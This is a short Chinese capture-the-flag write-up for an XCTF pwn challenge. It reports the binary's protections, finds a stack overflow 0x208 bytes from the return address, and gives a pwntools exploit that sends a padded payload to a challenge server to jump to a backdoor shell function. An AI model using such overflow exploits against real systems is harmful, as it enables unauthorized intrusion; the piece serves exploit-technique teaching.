攻防世界pwn进阶区反应釜开关控制
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位,小端序
开启部分RELRO---got表仍可写
未开启canary保护---存在栈溢出
开启NX保护----注入的shellcode不可执行
未开启PIE----程序地址为真实地址
动态链接
ida一下
发现栈溢出(灰色部分)
查看栈区,v5距离返回地址0x208字节(0x200+0x8)
查找有没有后门函数,发现一个shell函数
exp
from pwn import *
context(os = 'linux',endian = 'little',arch = 'amd64',log_level = 'debug')
sh = remote('111.200.241.244',60132)
shell = 0x4005F6
payload = flat(['a' * 0x208,p64(shell)])
sh.sendline(payload)
sh.interactive()
运行获得flag